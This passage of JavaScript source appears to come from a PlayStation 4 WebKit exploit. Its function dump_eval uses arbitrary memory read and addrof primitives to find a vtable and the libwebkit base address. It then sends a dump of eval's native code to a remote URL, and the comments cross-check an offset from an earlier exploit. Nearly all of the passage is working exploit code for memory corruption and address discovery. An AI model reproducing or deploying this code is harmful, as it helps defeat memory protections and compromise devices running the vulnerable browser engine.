| 183 | // For example, the expression "eval(1)" has the JSValue encoding of 1 passed |
| 184 | // to *(rdi + 0x30). |
| 185 | function dump_eval() { |
| 186 | let addr = js_textarea; |
| 187 | // WebCore::HTMLTextAreaElement |
| 188 | addr = addr.readp(0x18); |
| 189 | |
| 190 | // vtable for WebCore::HTMLTextAreaElement |
| 191 | // in PT_SCE_RELRO segment (p_type = 0x6100_0010) |
| 192 | addr = addr.readp(0); |
| 193 | |
| 194 | const libwebkit_base = find_base(addr, true, true); |
| 195 | const impl = mem.addrof(eval).readp(0x18).readp(0x38); |
| 196 | const offset = impl.sub(libwebkit_base); |
| 197 | send( |
| 198 | url, |
| 199 | make_buffer(impl, 0x800), |
| 200 | `eval_dump_offset_${offset}.bin`, |
| 201 | () => log('sent') |
| 202 | ); |
| 203 | } |
| 204 | |
| 205 | // Initially we just used the vtable offset from pOOBs4 (0x1c8) and tested if |
| 206 | // it works. It did but let's add this dumper so we can verify it another way. |